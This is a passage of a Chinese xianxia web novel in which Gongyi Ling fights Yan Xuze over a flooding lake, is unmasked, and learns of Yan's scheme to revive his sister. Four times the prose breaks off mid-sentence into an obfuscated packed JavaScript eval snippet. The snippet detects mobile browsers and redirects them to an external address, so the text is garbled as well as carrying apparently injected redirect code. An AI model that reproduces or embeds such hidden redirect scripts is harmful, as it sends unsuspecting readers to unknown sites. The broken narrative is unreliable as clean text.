公仪岭深知这一点,咬牙道:“为今之计,也只有这一个办法了……齐兄,你听我说,我们得等这个结界彻底碎裂后,掐准那一瞬间的时机设下新的结界,这样的话,才不会水淹尧都城!” “可这……” 虽然这也是个办法,但风险也大,若是没把握好时机的话,后果当真不堪设想。齐元白犹豫后,还是点了点头:“好。但是瀛湖现在灵力翻涌,想必那位装神弄鬼的人现在就在湖中,一刻钟的时间,我们来得及抓住他吗?” 公仪岭朝着湖面走了两步,执剑背对着齐元白,眼中杀意毕露。 “齐兄,你留在这里看着结界,我去湖中找他!” “你一个人?”齐元白一个箭步上前拽住他的衣袖,厉声道,“你疯了!谁知道那湖中心有多少鬼怪?即便是你,这一趟过去也难占上风!我跟你一起去,至少这样,你还能有个帮手——” “那岸边的结界该怎么办?尧都城里的百姓又该怎么办?如果我们一刻钟之内没办法解决它们的话,到时候结界碎裂,后果便是水淹尧都城!”公仪岭不容置疑道,“岸边有你守着结界,我也不会有后顾之忧。大不了等一刻钟后结界重设,你再来湖中助我也不迟!” 齐元白抓着他衣袖的手慢慢松开了。 他深吸了一口气,注视着公仪岭的眼睛:“……好,我信你,我知道你不会连这一刻钟都撑不过去。” “多谢。” 公仪岭说完这句话后,没等齐元白再回答什么,便毫不犹豫纵身朝着瀛湖飞去。 瀛湖上方,风声怒吼、雷声隆隆。灵力掀起的滔天巨浪似是想要将山河都吞没一般。 公仪岭贴着湖水的浪潮疾行,穿梭在瀛湖上方的黑雾中,尝试着施法,想平息这些湖水。可他一连试了好几个法术,皆被湖面上那巨大灵力阻隔开来,全无效果。 无奈之下,他只能暂且放弃用法术去镇压湖水的念头,转而开始在茫茫湖面中寻找起施法之人。 很快,公仪岭发现,他越是临近湖心,那些黑雾便越发浓厚,等到他御剑悬停在瀛湖中央,垂眸朝下望的时候,隐隐约约看见了那藏匿在雾气和巨浪之中的一人。 就是他!公仪岭无比肯定。 隔着黑雾匆匆一眼,公仪岭也只看见了他的一个模糊背影,认出这是个男子模样,依稀觉得他的身形有些眼熟。 这男子背对着他,看上去根本没意识到上空来了个不速之客,手中竟然还在源源不断地施展灵力,控制湖水起落。 这样好的机会,断然不能错过! 公仪岭微微抬手,彻云剑便回到了他的手中,他仅仅只是握住剑柄,彻云剑便灵力汇聚,在剑身上缠绕流动。 身影闪动。 下一秒,他已经执剑冲到那人背后,冰凉的剑锋离那人只有咫尺之遥。 就在公仪岭以为那人已经无法避开自己这一剑的时候,忽然见对方手腕微动,袖口中飞快地滑出一物,几乎在这一瞬间“哗啦”一下展开—— “铮!” 剑尖处发出一声炸响,公仪岭顿时被震得倒退三步,一晃神的工夫,也看清楚了挡下了这一击的是什么东西。 只见面前的这男子刚刚在背后展开的竟然是一柄通体漆黑的墨玉折扇,即使是公仪岭刚刚的那一击,也没有在这扇面上留下丝毫痕迹。 而扇面上的光芒在这一击后渐渐减弱,露出上面无比眼熟的纹样。 紫阳宗,太阳纹。 其实,都不需要看这纹样,光看这把一品灵扇,公仪岭就已经知道这人的身份。 是苍暝极夜扇。 “你……你是……” 公仪岭缓缓睁大了眼睛,难以置信地抬头望向眼前那一动不动的身影。 而那人也正好侧过头来,略带冷意的目光淡淡地扫了一眼公仪岭,突然微不可查地弯了弯唇角。 “嗯,是我,燕煦泽。” 说完,他顿了顿,又意味深长地轻笑道:“那你呢?你又是谁?我是应该叫你一声公仪宗主,还是……应该叫你公仪岭呢?” 公仪岭心中一颤。 他有多久没听见别人当面喊公仪岭这个名字了? 可这样短暂的时间,他根本无从去细细思考燕煦泽究竟是怎么看破自己的身份,只能强作镇定道:“燕兄莫不是弄错了,我虽与阿岭长相相似,却实实在在是他的兄长,是云灵山的宗主,公仪岚。” 燕煦泽嗤笑,抽扇回身,与公仪岭相对而立。 “你能瞒得住旁人的眼睛,却瞒不了我的眼睛。公仪,当日之事,不过是李代桃僵罢了。我只是没想到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14538754|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公仪岚当真护你至此,哪怕一命换一命也在所不惜。” “燕煦泽!” 听到“公仪”这两个字后,公仪岭已经完全能够确定,这个人刚才那句话根本不是在试探自己,而是早已知晓了自己的身份。 公仪岭双目赤红,怒不可遏,剑指他的咽喉吼道:“原来……原来是你算计我们,一步步到了这个境地!” 闻言,燕煦泽面色蓦然一沉,神色竟是从未有过的冷硬:“你说我算计?那你们呢,你们又何尝没有算计我?” 公仪岭只觉得好笑:“你是在跟我开玩笑?我们算计你?这一年来仙门百家被你耍得团团转,你竟然还说是我们算计你?” 燕煦泽却是忽然抬手挥扇,又是一道大浪朝着公仪岭卷来,水声中还夹杂着燕煦泽的怒吼:“公仪,我警告你别来碍事,给我滚开!我现在没时间跟你算总账!” 也不知燕煦泽受了他哪句话的刺激,竟是又动用了更多灵力控制湖水起落,迎面而来的水浪高达十几丈,就连湖面上的黑雾也开始疯狂翻涌汇聚起来,简直是要将整个瀛湖翻过来才肯罢休一般。 面对这样毁天灭地一样的场景,公仪岭猛然意识到了什么——这不正是动用了御魔幡的力量才能做到的事情吗?如今瀛湖上方,和那日东海之中又有何区别? 在这样的力量下,齐元白那边的结界,又能够支撑多久? “你疯了???给我停下来!!!” 公仪岭又惊又惧,几下纵跃高高立在潮头,提剑朝燕煦泽攻去,想要阻止他继续兴风作浪。 他们两人从前在抱元门交手的时候便难分伯仲,哪怕公仪岭这些时日勤加修炼,想要完全制服燕煦泽也不是个容易的事情。 转瞬之间,彻云剑化出无数剑光以破云之势直冲燕煦泽的方向,所过之处就连那些炸起十几丈的惊涛骇浪也皆被齐齐割裂,化作一滩死水融入湖中。 若是寻常仙僚,只怕是连这剑势都挡不住,更妄论彻云身上如排山倒海般的灵力了。 然而燕煦泽仅仅只是侧目瞥了一眼,随即手中黑扇脱手飞出,刹那间,凌空把这些剑光全数挡了下来。 似乎是因为手上的事情被公仪岭打断了,燕煦泽的神情比前面看起来更为恼怒。 公仪岭死死盯着他,本以为燕煦泽会放弃继续控制湖水,毫不犹豫地转而朝他反攻,谁料燕煦泽对他的攻击头都没抬,眸子尽是疯狂之色,口中像是在喃喃自语什么,行事依然不管不顾。 饶是公仪岭反应再迟钝,这时候也意识到不对劲了。 今日的燕煦泽,看起来当真跟疯魔了没什么两样,一举一动都透露着一种难掩的急躁。 燕煦泽精心布局这么久,以公仪岭对他的认识,燕煦泽绝不是像今日他见到的这般个性,也不会做这样看起来疯狂却又没什么意义的事情。 从公仪岭和齐元白发觉瀛湖湖水开始不对劲算起,直到现在,少说也已经过了快半个时辰,而在这半个时辰中,不管风浪再大,也都没有击破结界淹没城池。 想要水淹尧都城的话,燕煦泽大可以收起结界,直接引湖水倒灌即可,做完这一切没准都用不了三分钟。完全没必要像现在这样让湖水翻来倒去,浪费时间。 电光火石间,公仪岭也听清楚了燕煦泽在念的究竟是哪两个字。 “沅沅……” 183.身在此山中 怎知真面目(二) 这是谁?听着像是个姑娘家的名字? 公仪岭好说也参加了那么多次仙考,多多少少也结交了不少人,自认为认识的人不算太少,可他在脑海中搜寻了个遍,也没想起来这个名叫“沅沅”的姑娘,是哪家的女修。 公仪岭自己虽然不是热衷于八卦之人,不过架不住周围有热衷八卦的人,什么事情多少也能从旁人口中听到一点,却从没在他们口中听说过燕煦泽有什么风流韵事和相好的姑娘。 不过,能确定的一点便是,看样子燕煦泽在此地翻江倒海,大概是在找这个名叫“沅沅”的姑娘了。 公仪岭捋明白后,也知在找到这姑娘前,他想叫燕煦泽停手是不可能的了,当即提剑冲上,狠狠朝燕煦泽刺去。 现如今,公仪岭的修为早已不再是当日大战之时的水准。劲敌在前,哪怕是燕煦泽,也不可能一直无视他,燕煦泽一个不留神,便被逼地连连后退,只好抬手用苍暝极夜扇堪堪挡下公仪岭的剑锋。 短兵相接,带起疾风阵阵,只差几寸彻云剑就会划破他的脖颈,可谓惊险至极。 “你说,沅沅是谁?你布局了这一切,究竟是为了什么?!” 两人对峙之时,公仪岭终于有机会问出口。 燕煦泽低声道:“这一次是你们仙门中人带走我妹妹、把她藏身瀛湖在先。公仪,我知道自己一对一不是你的对手,我是奈何不了你,但你也别怪我对你的挚友下手。事到如今,我也只能拿齐元白的命作为要挟,让他们把人交出来了。” 公仪岭目光一凝,瞬间意识到他想做什么,怒火顿起,手上更是势如千钧力道更甚:“你若是想对元白不利,我定将你碎尸万段!” “是么?”燕煦泽被他的剑锋一震,半边手臂上都生了丝丝麻意,面上似笑非笑说道,“我也不怕告诉你,岸边的结界我可是动过手脚的,一旦碎裂,离结界最近的人必然因那上面的灵力震动而元气大伤。公仪,别怪我没提醒你,从你找到我开始算,离你预估好的时间,还剩下多少?” “你!” 公仪岭完全没有想到他竟然还留了这一手。看来,在他们进入湖底阴宅之前,燕煦泽就已经发现不对,在结界上做了手脚。 不过听了燕煦泽的话,他也明白过来。想来那阴宅内的玄冰棺内,原先放着的是燕煦泽妹妹的尸身,只是不知道是谁抢先一步带走了她。 难道,这地方除了他和齐元白,还有其他仙家的人过来了? 然而,现在不是容他能仔细琢磨这个事情的时候。他离开岸边已经快到一刻钟,瀛湖这边又有法力场的限制,他根本联系不上齐元白,没有时间让他与燕煦泽继续在湖中间纠缠打斗了。 如此想着,公仪岭手上的力道也略微卸下一些,打算趁着此刻抽身离去。谁料那燕煦泽竟然也等着公仪岭收手的这个时机。刹那间的工夫,燕煦泽刚察觉到公仪岭卸力,手上的法扇猛然一击推开了彻云剑,随后瞬间收回,回身飞驰而去。 公仪岭第一反应便是以为燕煦泽想要趁此机会逃走,可待他看清楚燕煦泽疾行离去的方向后,心中顿时一惊。 燕煦泽居然是朝着瀛湖岸边去的! 公仪岭几乎立刻就明白过来这个人是什么意图。 眼下瀛湖岸边只有齐元白一人,若是他元气大伤,且不说他还能不能设下新的结界,没准想要保全自身都难。若是这时候燕煦泽抢先他一步挟持齐元白的话,他们便完全陷入被动了。 公仪岭翻手一挥彻云剑后跃上剑身,以最快速度紧随其后,无奈此地法力场压制了他的部分灵力,公仪岭想尽办法追赶,却还是不及燕煦泽的速度。 岸边齐元白一门心思紧盯着结界的状况,直到听到身后御风飞行的动静,这才回过头去看。 只见瀛湖那层层翻涌的大浪之上一前一后你追我赶冲出两人,速度快到只能看见衣角的残影。 齐元白刚辨认出那一抹显眼的红色,想要开口叫他,就听那人惊声大喝:“元白!小心身后——” 可是已经来不及了。 及其细微的“咔嚓”一声,没有逃过公仪岭的耳朵。齐元白身后的结界伴随着这一声脆响产生丝丝裂痕,眼看着就要炸裂开来。 而公仪岭此时距岸边还有一段距离,根本来不及阻止眼前的一切发生。 齐元白也是立刻反应过来,起手便打算在结界碎裂后重新布下。 只是,他手上法术还没施展出来,就听身后发出巨大的震动响声,随后那结界宛如冰块碎裂,在岸边炸开! 公仪岭瞳孔骤缩,疯了一般朝岸边嘶喊:“元白!快跑——!!” 齐元白手上仍维持着施法的姿势,可身子却被一股巨大的灵力掀飞,只觉浑身都像是被这股力量震散架了,五脏六腑撕裂般剧痛。他朝湖水边凌空翻滚了十几圈后,直接跪倒在地,口中鲜血淋漓。 见齐元白受此一击后竟然还没趴地上,燕煦泽也是略微诧异。不过等他的目光落在那满地的符箓碎片后,却也了然,冷哼道:“他倒真是算无遗策。” 话音刚落,瀛湖中那些大浪也再没了阻拦,前仆后继地朝尧都城奔涌而来。 怎么办? 这么短暂的时间内,公仪岭根本没办法回到岸边阻止一切发生,甚至没办法带齐元白避开这汹涌的浪潮,一颗心瞬间沉入谷底。 那数十丈高的浪高高悬起,看起来下一秒便能完全吞没跪在岸边的人,齐元白几乎能感受到无数水滴迎面拍来,饶是他再镇定的一个人,面对这种生死攸关的场面也不由冷汗直流。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14549152|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这千钧一发之际,一阵狂风掠过湖岸,那破碎的结界前已然站了一人。 紫衣黑发青玉簪。 齐元白心中大喜。只微微抬头看了眼那衣服的裙摆,就已经知道来者是谁。 燕蓉紧紧握着浮光青玉扇,目光无比复杂地看着湖面上一边追赶一边交手、就要逼近岸边的两人。 随即,她猛然挥扇! 身后登时重新筑起一道牢不可破的法力结界,岸边狂风直冲云霄,卷向齐元白的那阵巨浪也因为这风改变了方向,朝着湖内奔流而去。 好燕蓉! 如此及时的救场,让公仪岭感动地差点飞出眼泪。岸边符箓碎片漫天纷飞,公仪岭在空中随手拈了一片,看见上面的血迹符文后也是松了口气,看样子齐元白在岸边看守结界的时候也没闲着,竟也在附近设了个符阵以防不测。 不过看齐元白这口中鲜血直流的模样,大概这符阵也只是保了他一条性命,人还是受了重伤。 暂且平息危机,燕蓉第一时间转头去问齐元白:“你怎么样?还撑不撑得住?”说着就想快步上前去扶他。 “没事……我还撑得住。” 齐元白咬紧牙关,颤抖着身子想要起来,可未等燕蓉上前一步,余光中一面熟悉地不能更熟悉的法扇回旋着朝她直切飞来! 燕蓉无奈,只能停了脚步旋身避开。 就因为被拦了这么一下,让燕煦泽终于赶到岸边。他伸手收回苍暝极夜扇后,一晃身形,便出现在齐元白的身前将他一把拽起,袖口中那冰凉的刀锋已然贴上了齐元白的脖颈。 公仪岭后脚也落了地,看见这场景勃然怒道:“燕煦泽!你放开元白!!!” 燕煦泽眸光掠过那跟在自己身后的人,恰到好处地掩去了眼中那一丝冰冷的杀意,似笑非笑地与他对视:“公仪,这么久过去了,你还是没长进,永远都保护不了身边的人。” 公仪岭身形微不可查地凝滞了片刻。 “别听他胡说!” 齐元白拖着虚弱的身子企图挣扎,才动了一下,身后那不带丝毫感情的声音便在耳畔响起:“我劝你们别轻举妄动,这把骨刀是用赤炎真火凤的脊骨制成,如若死在这把刀上,不论是谁,都魂魄消散、不入轮回。” “果然是你。” 齐元白死死盯着燕煦泽,强忍喉头的腥甜,每吐出一个字胸中都如同刀绞。 燕蓉生怕燕煦泽做出过激举动,当即收扇止步:“师兄!你冷静一下,别——” “别?师妹,你是想叫我别做什么?”燕煦泽森然道,“枉费我翻江倒海找了这么久,竟还是没找到你们的藏身之处,这仙门之中没人比你更了解我,师妹,你就是利用这一点,才带着其他人躲避开了我的法力场?!” 184.身在此山中 怎知真面目(三) 燕蓉抿唇不语,公仪岭却是听出来了什么:“燕蓉,你这一次暗中带了多少人来?” 之前和燕煦泽交手的时候,公仪岭还在疑惑到底是谁能在燕煦泽眼皮子瞒天过海、比他们动作还快,竟然抢先带走了玄冰棺里的人。 如果是燕蓉的话,那倒是能说得通了。 燕煦泽冷笑道:“你问她带了多少人?……呵,事到如今,诸位仙僚何必还藏着掖着,许久不见,不妨出来叙个旧?” 燕蓉没有答话,只是默然朝岸边某处瞥了一眼。 “她带了多少人这件事,倒是让你费心了。” 未见其人,先闻其声。 这样沉稳且不怒自威的声音,公仪岭再熟悉不过——这分明就是善承长老的声音! 话音刚落,岸边众人齐齐显形。 公仪岭本以为燕蓉至多也不过藏个一两人,谁知公仪岭一眼扫去,顿时呆了,岸边出现的少说也有十余人,而且个个他都认识! “这……” 燕蓉在旁边轻声道:“别误会,在湖底阴宅带走沅沅的只有我、燕渊和尹鸿宣三人,否则带这么多人的话,我们早就被发现了。” “尹鸿宣也来了?” 公仪岭有些意外,重新去看那十几人,果然见那黑袍少年立在人群前方,眉目间依旧是从前的模样,唯独气度看起来沉稳了不少。 燕蓉点头:“嗯,我能得知这阴宅地点,也全靠他的情报。” “如此兴师动众来抓我,还真是给我面子。”燕煦泽连个眼神都没给善承长老,从头到尾都只是死死盯着燕蓉,“师妹,你我相识十余载,哪怕我猜到你在上元夜宴上动了手脚,也从未对你起过杀心,你竟然……” 公仪岭眼皮一跳,瞬间想起上元夜宴猜灯谜时候他看见的东西。 燕蓉低声道:“师兄,从我察觉到你不对劲之时算起已有几个月,这些时日我一直给你留有余地,可我万万没有想到,你竟然还是不肯收手……” “所以,上元夜宴你引我看见的那块木牌灯谜背后,是为了告诉我,真正的幕后凶手是燕煦泽?”公仪岭诧异道。 燕蓉侧目,从怀中摸出那块木牌丢到公仪岭手中,道:“当然,我以为你会明白我的意思。” 公仪岭单手接住,再次垂眸翻看这块木牌。 涉江采芙蓉。 只缘身在此山中。 木牌上面的内容没变,字迹也如故,与之前公仪岭看见的那块没什么区别。 公仪岭皱眉道:“可是,你正反面写的这两句诗,我以为是在说……” 话说到一半,公仪岭突然顿住。在场的还有这么多人不知道自己的身份,他总不能说,当时是以为燕蓉看出了自己的身份,故而用这两句诗来试探自己吧。 燕蓉却道:“涉江采芙蓉的下一句是什么?” “兰泽多芳草……” 公仪岭脱口而出这后半句后,也猛然意识到了什么。 燕蓉的意思,根本就不在于那上半句的“芙蓉”,反而应该是下半句的“泽”才对! 按照这个思路,那木牌背面,真正想要表达的也应该是上半句的“不识庐山真面目”了。 公仪岭已经彻底明白过来,喃喃道:“原来,你竟然是这个意思……” 燕煦泽突然大笑起来。 “哈哈哈……师妹,你刻意在木牌背后伪造笔迹,可怪不得公仪看不出来,哪怕是我,当时也险些以为是其他人知晓了我的身份。” 燕蓉淡声道:“嗯,我伪造笔迹,一方面我并不愿意明说此事,给他一个提示,哪怕最后是我猜错了无妨;另一方面,我也是想要借此机会当众试探你一番,看看我猜的到底有没有错。而且,我给他的暗示也并不止木牌上面的诗句。” 公仪岭把手中的木牌翻来覆去地看了好几遍,不解道:“还有什么?” 燕蓉视线下移,目光落在木牌下方,道:“我特意在木牌下方用了这个红色的穗子装饰,你若是仔细看看,就知道这穗子在什么地方见过了。” 上元夜宴的每块木牌下都悬挂了各式各样的穗子,公仪岭从来没关注过这个,经过燕蓉这么一提醒再去看,很快便认了出来——这个穗子的结绳手法很独特,他的确是见过的。 “当时在百人冢的时候,你第一次使用追忆术,我们担心出什么问题,所以各自托人转交遗物。我记得,你当时就是让齐元白把这个交给燕煦泽的。” 燕蓉道:“不错,就是这个穗子,只不过是我后来特意重新打了个一模一样的挂在了木牌上,原先的那个,是留在师兄地方了。” “没关系,穗子也好,诗句也罢。一言蔽之,不过就是你觉得你身在紫阳宗内,这才没看出我的真面目而已。” 燕煦泽说完,却已经收起笑声,只稍稍勾起唇角,眼中尽是戏谑之意,盯得公仪岭浑身发毛。 他慢条斯理道:“不过,‘不识庐山真面目’的,也不止我一个,你说对吧,公仪岭?” “……” “什么?!!” 站在旁边的一干人等齐齐色变。 没人心里不清楚燕煦泽说的这句话代表了什么意思,同时也没人不清楚,如果他说的是真的话,那在行刑台上被错杀的,究竟是谁。 燕渊的脸色更是难看得不行。 原本师姐坚持说公仪岭无辜,要带他过来指明真凶的时候,燕渊还一万个不情愿,觉得师姐完全是多此一举。谁知一来才发现事实并非如此,在他看来罪大恶极的公仪岭反倒是那个遭人陷害的人,而自己一向信任的大师兄成了罪魁祸首,换做是谁也没办法那么快接受事实。 故而燕渊一开始也没有开口,直到听到这个消息,他再也无法冷静了,僵着身子生硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566202|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“……这人分明是公仪岚,怎么会是公仪岭?公仪岭不是在祭旗那日就已经灰飞烟灭了吗?” “嗯,是灰飞烟灭了没错,”燕煦泽露出了一个意味深长的微笑,缓缓道,“不过灰飞烟灭的,不是公仪岭,而是假扮了他模样、代替他上了刑台的公仪岚。” 话音刚落,燕煦泽捏在另一只手中的法扇猝不及防飞出! 身份被他揭开,公仪岭本就心神不稳,如此近的距离,猛然间看见苍暝极夜扇朝着自己迎面飞来,眼看着下一秒就要伤到自己的脸,公仪岭只能匆忙间抬剑格挡。 可那苍暝极夜扇却在就要割开公仪岭脸的那一刹那,却霍然转了个方向,不偏不倚地打到了那半张银箔面具的位置—— “啪嗒。” 银箔面具掉落,完完全全露出了公仪岭的整张脸。 面具之下,依旧是那半张被烈火灼伤的面容。 当时刑台之上闯入公仪岭设下结界的不过寥寥几人,在场大部分弟子们都没有亲眼见过他脸上的疤痕。今日一见,皆是一惊,第一反应竟然是有一种白玉微瑕的遗憾。 而燕煦泽则是惊讶于他并未想办法去恢复自己的面容,明明凭借他如今的能力,想要去掉这疤痕不算难,可不知为何公仪岭却没有这么做。 善承目光灼灼:“刑台之上我和玄微都在场,亲眼看见他脸上的这块烧伤疤痕从何而来,光凭这个,你又如何能够肯定眼前之人是公仪岭,而非公仪岚?” 燕煦泽也只是惊讶了一瞬间,很快恢复如常,镇定道:“他们二位本就相似,光看脸自是难以分辨,可当初在魔族迷雾林内,众人皆知他公仪岭手臂上被赤炎真火凤的利爪所伤,这伤痕是无论如何也去不掉的,他到底是不是公仪岭,一看便知。” 当时和他同行之人,除去燕家三人、齐元白、承悦和尹鸿宣以外,其他人都已经不在人世。面对燕煦泽的指控,燕蓉、齐元白和承悦都是闭口不言,尹鸿宣本就向着公仪岭这边,更是一言不发。 唯有燕渊一人急切地想要搞清楚,当即点头道:“不错,师兄,当时我们都看见公仪岭他手上受了火凤的爪伤,只要验明伤势,就能知道他究竟是谁!” 齐元白狠狠剜了一眼燕渊,道:“就算验明了又如何?燕宗主,难道你到现在还不明白,所有的一切都是你这位好师兄精心布局的,阿岭他是无辜的!” 燕渊顿时哑了声,燕煦泽则是将骨刀更贴近了齐元白的脖子,划出一道血痕,厉声道:“给我闭嘴!” 承悦惊声大喝:“你别伤他!” 燕煦泽充耳不闻,对公仪岭微笑道:“公仪,你说呢?这些时日,想必你也一定演的很累吧?” “……不用再说了。” 公仪岭缓缓握紧手中的彻云剑,沉默良久后,吐出一口气,低声道:“你说得不错,我不是公仪岚,我就是公仪岭。” 185.身在此山中 怎知真面目(四) 不明实情的众仙僚猛然间听到如此消息,一个个都惊呆了:“怎么会?!!!” 尹鸿宣瞪大眼道:“公仪兄弟!” 燕煦泽见他承认,脸色笑意更深:“这一年来,每一步你都会按照我所想的那样走,公仪,你果然从不让我失望。” 公仪岭冷声道:“我已经承认了我的身份,现在,你也该说说你的了吧?若是我没猜错的话,你作为醉春风真正的主人,故意设计在宣安城引得我和尹鸿宣相见,又盗走我封棺的人皮,把无妄宗灭门之事嫁祸给我。燕婉是你劫走的、誓师大会上的九宫青狻猊是你毒杀的、抱元门的阵法图是你盗走的,就连青花谷的妖毒也是你散布的。燕煦泽,我说的可对?” “对,也不对。” 燕煦泽轻松道:“光凭我一个人,自是分身乏术,不过,有了那位阿音帮我,就事半功倍了……” “是那只狐狸?” 这名字公仪岭印象深刻,瞬间就回忆起来:“当时我分明还没刺中她,她就已经消失,就是被你救走了!” 他早该想到的,那阿音也是在宣安城被找到的,定然跟这边的瀛湖水神娶亲脱不了干系。 承悦凝声道:“你救她,就是为了让她帮你做事?” “我救她也不是第一次了,你以为她逃到观音庙之前是怎么活下来的?没有我的话,她早就死了!”燕煦泽道,“若不是看在她是只狐妖,或许能够帮到沅沅,我断然不会生恻隐之心救下她。” 承悦迟疑道:“那……阿音呢?为何我们在尧都城内没见过她?” 燕煦泽嗤道:“她?她已经死了!再怎么说她也是只有点修为的狐妖,用她的皮救沅沅,至少能够支撑上三个月的时间……” 燕蓉脸上失望无比:“师兄,你收手吧!哪怕你救下阿音,又劫走那么多少女想办法给沅沅换皮,她也早就死了,永远也回不来了!” “你胡说!!!” 公仪岭从未见过燕煦泽这样狰狞可怖的表情,他的整张脸都在听到燕蓉的话后扭曲起来,额头和脖子上青筋暴起,目眦欲裂。 “妖毒的解药我已经知晓,只要一直给她换上少女的皮肤,维持沅沅的身体不腐,再连续用一个月的解药,我就能靠御魔幡的力量复活她!如果不是你们带走了她,再过不到五日,她就能醒来!师妹,你告诉我,你到底把她带到哪里去了!!!” 公仪岭凝在原地:“换皮?” 尹鸿宣恍然:“所以,你在宣安城开了醉春风,最开始的目的是为了利用这些女子给你妹妹换皮——” 燕蓉静静地听着他的诘问,良久才叹息了一声,抬手挥扇显露出一副仙家的玄冰棺。 这冰棺并没有合上,里面安详地躺着一位面容姣好的红衣女子。 燕煦泽一眼认出:“沅沅!” 燕蓉早有准备,见燕煦泽想当场夺人,立刻拿出一个琉璃瓶子抵住红衣女子的唇瓣,威胁道:“师兄!” 燕煦泽怒道:“这是什么?!” 回答他话的却是孟妙意,她目光凌厉,上前一步道:“没什么,不过是我这几日特意研制出来的妖毒罢了。我知道你妹妹现在的身体状况已经没办法再承受一次妖毒侵害,如果你不想让她成为一具腐尸,最好给我老实点!” 燕煦泽颤着身子,咬牙片刻后,还是硬生生站在原地没动。 局面一时间僵持住了。 趁着这时间,公仪岭也稍稍打量了冰棺里的人两眼。 这是公仪岭第一次见她,她看起来也不过十六七岁的模样,长相颇为清丽,虽然穿得一身红衣,却看起来并不明媚艳丽,一头乌黑长发随意散着,躺在冰棺里面活脱脱像个画中仙人一般。 然而,她身上那点微弱的妖气还是没逃过公仪岭的眼睛。 公仪岭皱眉道:“她是妖?” 他说完,自己也有些怀疑。这女子身上的妖气很弱,根本不是正常妖怪会有的那种妖气,便以为是她已经亡故的原因才会如此。 燕蓉摇头道:“不,她身上只流着一半妖血,他们的母亲是狐妖,父亲却只是个凡人。” 她低头从冰棺内红衣女子腰间拽下一个物件,眼神示意公仪岭道:“这赤狐铃,是她母亲的物件,而这赤狐铃下的另一枚红色穗子,就是我当时给大师兄的那枚。” 公仪岭顺手接过,垂眸一看,果然是同一个穗子无疑。而这赤狐铃上妖气弥漫,想来应该也是个珍稀之物。 “我若是没猜错的话,大概在你妹妹还很小的时候,她就已经中了妖毒,但她是妖身,又有玄冰棺的养护,所以还是长成了如今的少女模样。”燕蓉缓缓道,“我只是不明白,这赤狐铃上承载了不少妖力,想要保护你妹妹绰绰有余,她又怎么会因为身中妖毒而死?何况那时候你应该还没拜入紫阳宗,又是从何而来的玄冰棺安葬他?” 燕煦泽赤红着眼,嘶声道:“她本来不会死的!那时候……那时候我都已经带着她跋山涉水到了青花谷外,想要求孟长歌救一救她,解开她身上的妖毒。可我把赤狐铃当作信物给孟长歌后,他明明认出赤狐铃是他故友之物,却为了自己的名声,谎称不认识我娘,把我们赶出了青花谷。我在谷外整整跪了一日一夜,等来的是沅沅不治身亡……” 说到此处,燕煦泽声音也有些哽咽,再次抬头,望向的却是孟妙意。 “孟姑娘,这副玄冰棺,是你当年看我们凄惨,才瞒着你爹偷偷给我的,你可还记得?” 孟妙意一怔,很快想起了这桩往事,收起了拿着妖毒瓶子的手:“……是你?” “是我。”燕煦泽勾唇笑道,“说起来,我还真得谢谢你,要不是有你帮我,哪怕有赤狐铃的妖力护体,沅沅也怕是没办法维持身子不腐。” 公仪岭了然:“只是这妖毒太过厉害,即便是玄冰棺也只能勉力养护她一段时间,等她身上的妖毒渐渐蔓延,身子就会由内而外慢慢腐烂,所以你才会想方设法给你妹妹换皮,再设计散布妖毒让孟宗主制出解药,有了御魔幡和解药的话,你妹妹就能够‘起死回生’。” “不错。” 燕蓉斥道:“师兄!御魔幡根本没办法复活沅沅,哪怕用它,也只是做出一个傀儡罢了!你既然在阿音身上试验过,就该清楚它根本不算活着!” 燕煦泽瞬间暴怒:“如何不算活着?!阿音它能动也能说话,还能渐渐恢复灵识认出我。让沅沅像她这样活着,总比让我日日看着她无声无息地躺在冰棺内的好!何况那御魔幡早已炼成,只消再过上五日,我所做的一切就都不会白费!” “你错了,师兄,御魔幡根本就没有炼成。” 燕蓉眼中划过一丝悲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578355|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤,稍稍扬手,那御魔幡竟然凭空出现在她的手中。 燕煦泽瞳孔收缩,立刻施法想要去检查湖底,却发现安置御魔幡的那地方早已空空如也。 “你、你是什么时候拿走的……” 